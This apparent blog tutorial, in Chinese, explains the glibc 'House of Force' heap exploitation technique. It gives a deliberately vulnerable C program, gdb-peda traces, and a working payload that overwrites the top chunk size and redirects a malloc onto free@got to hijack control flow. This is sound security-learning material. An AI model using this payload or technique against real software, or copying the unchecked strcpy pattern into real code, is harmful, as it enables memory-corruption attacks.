the House of Force技术简单分析

堆利用类型：top chunk相关

     利用思想：通过修改top chunk大小，使得分配任意大小都是从top chunk里边切出来，这样分配一个大小占满想要写的位置和当前分配位置top chunk的差，下一个分配就可以分配出想要写的位置

   利用前提： 
 

 
     需要有办法能够更改到top chunk大小
 需要能够知道当前位置和要写位置的差值
 需要能够自由控制将要分配的chunk的大小，也就是malloc的参数值
 分配后，要能够修改分配出来的内容，这个技巧只负责分配出想要的位置

   实例代码如下： 
 

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
 char *buf1, *buf2, *buf3;
 if (argc != 4) return;
 buf1 = malloc(256);
 strcpy(buf1, argv[1]);
 buf2 = malloc(strtoul(argv[2], NULL, 16));
 buf3 = malloc(256);
 strcpy(buf3, argv[3]);
 free(buf3);
 free(buf2);
 free(buf1);
 return 0;
}

 
  编译方式：  
 

gcc -fno-stack-protector -o House_of_Force House_of_Force.c

 
  使用gdb调试，在buf1 = malloc(256);处下断点，可以看到： 
 

gdb-peda$ pdisass main
Dump of assembler code for function main:
   0x080484ad <+0>:	push   ebp
   0x080484ae <+1>:	mov    ebp,esp
   0x080484b0 <+3>:	and    esp,0xfffffff0
   0x080484b3 <+6>:	sub    esp,0x20
   0x080484b6 <+9>:	cmp    DWORD PTR [ebp+0x8],0x4
   0x080484ba <+13>:	je     0x80484c2 <main+21>
   0x080484bc <+15>:	nop
   0x080484bd <+16>:	jmp    0x8048567 <main+186>
   0x080484c2 <+21>:	mov    DWORD PTR [esp],0x100
   0x080484c9 <+28>:	call   0x8048370 <malloc@plt>
   0x080484ce <+33>:	mov    DWORD PTR [esp+0x1c],eax
   0x080484d2 <+37>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484d5 <+40>:	add    eax,0x4
   0x080484d8 <+43>:	mov    eax,DWORD PTR [eax]
   0x080484da <+45>:	mov    DWORD PTR [esp+0x4],eax
   0x080484de <+49>:	mov    eax,DWORD PTR [esp+0x1c]
   0x080484e2 <+53>:	mov    DWORD PTR [esp],eax
   0x080484e5 <+56>:	call   0x8048360 <strcpy@plt>
   0x080484ea <+61>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484ed <+64>:	add    eax,0x8
   0x080484f0 <+67>:	mov    eax,DWORD PTR [eax]
   0x080484f2 <+69>:	mov    DWORD PTR [esp+0x8],0x10
   0x080484fa <+77>:	mov    DWORD PTR [esp+0x4],0x0
   0x08048502 <+85>:	mov    DWORD PTR [esp],eax
   0x08048505 <+88>:	call   0x8048390 <strtoul@plt>
   0x0804850a <+93>:	mov    DWORD PTR [esp],eax
   0x0804850d <+96>:	call   0x8048370 <malloc@plt>
   0x08048512 <+101>:	mov    DWORD PTR [esp+0x18],eax
   0x08048516 <+105>:	mov    DWORD PTR [esp],0x100
   0x0804851d <+112>:	call   0x8048370 <malloc@plt>
   0x08048522 <+117>:	mov    DWORD PTR [esp+0x14],eax
   0x08048526 <+121>:	mov    eax,DWORD PTR [ebp+0xc]
   0x08048529 <+124>:	add    eax,0xc
   0x0804852c <+127>:	mov    eax,DWORD PTR [eax]
   0x0804852e <+129>:	mov    DWORD PTR [esp+0x4],eax
   0x08048532 <+133>:	mov    eax,DWORD PTR [esp+0x14]
   0x08048536 <+137>:	mov    DWORD PTR [esp],eax
   0x08048539 <+140>:	call   0x8048360 <strcpy@plt>
   0x0804853e <+145>:	mov    eax,DWORD PTR [esp+0x14]
   0x08048542 <+149>:	mov    DWORD PTR [esp],eax
   0x08048545 <+152>:	call   0x8048350 <free@plt>
   0x0804854a <+157>:	mov    eax,DWORD PTR [esp+0x18]
   0x0804854e <+161>:	mov    DWORD PTR [esp],eax
   0x08048551 <+164>:	call   0x8048350 <free@plt>
   0x08048556 <+169>:	mov    eax,DWORD PTR [esp+0x1c]
   0x0804855a <+173>:	mov    DWORD PTR [esp],eax
   0x0804855d <+176>:	call   0x8048350 <free@plt>
   0x08048562 <+181>:	mov    eax,0x0
   0x08048567 <+186>:	leave  
   0x08048568 <+187>:	ret    
End of assembler dump.
gdb-peda$ b *0x080484c9
Breakpoint 1 at 0x80484c9
gdb-peda$ r $(python -c "print '\x41'*260+'\xFF\xFF\xFF\xFF'") ffffeef4 12345678Starting program: /home/yang/ctf/House_of_force $(python -c "print '\x41'*260+'\xFF\xFF\xFF\xFF'") ffffeef4 12345678
[----------------------------------registers-----------------------------------]
EAX: 0x4 
EBX: 0xb7fc0000 --> 0x1a9da8 
ECX: 0x3c607cae 
EDX: 0xbffff034 --> 0xb7fc0000 --> 0x1a9da8 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff008 --> 0x0 
ESP: 0xbfffefe0 --> 0x100 
EIP: 0x80484c9 (<main+28>:	call   0x8048370 <malloc@plt>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80484bc <main+15>:	nop
   0x80484bd <main+16>:	jmp    0x8048567 <main+186>
   0x80484c2 <main+21>:	mov    DWORD PTR [esp],0x100
=> 0x80484c9 <main+28>:	call   0x8048370 <malloc@plt>
   0x80484ce <main+33>:	mov    DWORD PTR [esp+0x1c],eax
   0x80484d2 <main+37>:	mov    eax,DWORD PTR [ebp+0xc]
   0x80484d5 <main+40>:	add    eax,0x4
   0x80484d8 <main+43>:	mov    eax,DWORD PTR [eax]
Guessed arguments:
arg[0]: 0x100 
[------------------------------------stack-------------------------------------]
0000| 0xbfffefe0 --> 0x100 
0004| 0xbfffefe4 --> 0xbffff0a4 --> 0xbffff277 ("/home/yang/ctf/House_of_force")
0008| 0xbfffefe8 --> 0xbffff0b8 --> 0xbffff3b0 ("XDG_VTNR=7")
0012| 0xbfffefec --> 0xb7e4942d (<__cxa_atexit+29>:	test   eax,eax)
0016| 0xbfffeff0 --> 0xb7fc03c4 --> 0xb7fc11e0 --> 0x0 
0020| 0xbfffeff4 --> 0xb7fff000 --> 0x20f34 
0024| 0xbfffeff8 --> 0x804857b (<__libc_csu_init+11>:	add    ebx,0x1a85)
0028| 0xbfffeffc --> 0xb7fc0000 --> 0x1a9da8 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x080484c9 in main ()
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x804b008 --> 0x0 
EBX: 0xb7fc0000 --> 0x1a9da8 
ECX: 0xb7fc0420 --> 0x0 
EDX: 0x804b008 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff008 --> 0x0 
ESP: 0xbfffefe0 --> 0x100 
EIP: 0x80484ce (<main+33>:	mov    DWORD PTR [esp+0x1c],eax)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80484bd <main+16>:	jmp    0x8048567 <main+186>
   0x80484c2 <main+21>:	mov    DWORD PTR [esp],0x100
   0x80484c9 <main+28>:	call   0x8048370 <malloc@plt>
=> 0x80484ce <main+33>:	mov    DWORD PTR [esp+0x1c],eax
   0x80484d2 <main+37>:	mov    eax,DWORD PTR [ebp+0xc]
   0x80484d5 <main+40>:	add    eax,0x4
   0x80484d8 <main+43>:	mov    eax,DWORD PTR [eax]
   0x80484da <main+45>:	mov    DWORD PTR [esp+0x4],eax
[------------------------------------stack-------------------------------------]
0000| 0xbfffefe0 --> 0x100 
0004| 0xbfffefe4 --> 0xbffff0a4 --> 0xbffff277 ("/home/yang/ctf/House_of_force")
0008| 0xbfffefe8 --> 0xbffff0b8 --> 0xbffff3b0 ("XDG_VTNR=7")
0012| 0xbfffefec --> 0xb7e4942d (<__cxa_atexit+29>:	test   eax,eax)
0016| 0xbfffeff0 --> 0xb7fc03c4 --> 0xb7fc11e0 --> 0x0 
0020| 0xbfffeff4 --> 0xb7fff000 --> 0x20f34 
0024| 0xbfffeff8 --> 0x804857b (<__libc_csu_init+11>:	add    ebx,0x1a85)
0028| 0xbfffeffc --> 0xb7fc0000 --> 0x1a9da8 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080484ce in main ()
gdb-peda$ x/20x $eax-0x10
0x804aff8:	0x00000000	0x00000000	0x00000000	0x00000109
0x804b008:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b018:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b028:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b038:	0x00000000	0x00000000	0x00000000	0x00000000
gdb-peda$

   创建的部分堆地址为0x804b008，堆首数据为0x109. 
 

   根据堆内存布局 
 

   堆首自身size第一位表示是否被分配，很明显这里已经分配了，所以是1，所以堆首 
  0x109=256+8+1 
 

   堆后边的数据（内存高地址）保存的就是top chunk，所以如果往buf1中复制的数据过多时，就会覆盖掉top thunk的堆首信息，top thunk 的堆首有8个字节组成，前四个字节表示的是buf1的大小，后四个字节表示的是top thunk的大小 。 
 

   如果可以覆盖后四个字节，就可以控制top thunk的大小了 后续就可以从top thunk中分配任意大小数据了 
 

   所以此处我们用LARGETOPCHUNK=$(perl -e 'print "A"x260 . "\xFF\xFF\xFF\xFF"')将top thunk覆盖为无限大。 
 

   下边就是wilderness了。 
 

   看一下buf2，它的大小我们可以控制，假设buf2和free@got相距x，那么只要将buf2大小设置为x-8， 
  （为什么是减8，而不是减4）那么就可以在下次分配时（buf3），覆盖free@got的地址了，以后如果调用函数free，那么就可以调用我们的shellcode了。 
 

   buf2的返回地址是0x804b110，我们找一下 
  free@got的地址： 
 

gdb-peda$ pdisass 0x8048350 
Dump of assembler code from 0x8048350 to 0x8048370::	Dump of assembler code from 0x8048350 to 0x8048370:
   0x08048350 <free@plt+0>:	jmp    DWORD PTR ds:0x804a00c
   0x08048356 <free@plt+6>:	push   0x0
   0x0804835b <free@plt+11>:	jmp    0x8048340
   0x08048360 <strcpy@plt+0>:	jmp    DWORD PTR ds:0x804a010
   0x08048366 <strcpy@plt+6>:	push   0x8
   0x0804836b <strcpy@plt+11>:	jmp    0x8048340
End of assembler dump.

   可以看到free@got的地址为0x804a00c 
 

   计算下偏移（补码形式）： 
 

   0x804a00c-0x804b110-8=0xffffeef4 
  (为什么减去8，而不是4，内存对齐，八字节倍数) 
 

   这样下次malloc buf3并且strcpy的时候 就将我们的数据写入了free函数地址，导致调用free的时候，执行了我们的shellcode。 
 

   但是可能是 
  字节对齐的原因，最后我的oayload是这样写的： 
 

   $(python -c "print '\x41'*260+'\xFF\xFF\xFF\xFF'") ffffeef4 12345678 
 

   最后控制$eip为0x38373635.可以看到还是向后移动了四个字节，我也不知道为什么。 
 

   note： 
  发现一个奇怪的现象，当malloc（10）的时候堆首是0x11 当malloc（15）的时候堆首是0x19,不是很奇怪吗？ 也就是说当申请10字节时，堆首是0x4大小，当申请大于15字节时，堆首是0x8大小，其中前四个字节是0x00，后四个字节是堆大小加上是否分配的标志位。 
 

 
  其实是这样的，当chunk的前一个chunk处于allocated状态时，那么当前chunk的pre+size是没有用的，所以就被用来存储前一个chunk的数据，同理，下一个chunk的pre_size就被用来存储当前chunk的数据。 
  原来堆在32位下是8字节对齐的，其他0x00填充。

   参考文章： 
 

   1. 如何理解堆和堆溢出漏洞的利用？（ 
  http://www.freebuf.com/vuls/98404.html#） 
 

   2. [翻译]堆溢出技术：Malloc Maleficarum之The House of Force（ 
  http://bbs.pediy.com/thread-216179.htm） 
 

   3. 
   pwn工具箱之house of force（http://blog.csdn.net/qq_29343201/article/details/74194447） 
 

the House of Force技术简单分析

猜你喜欢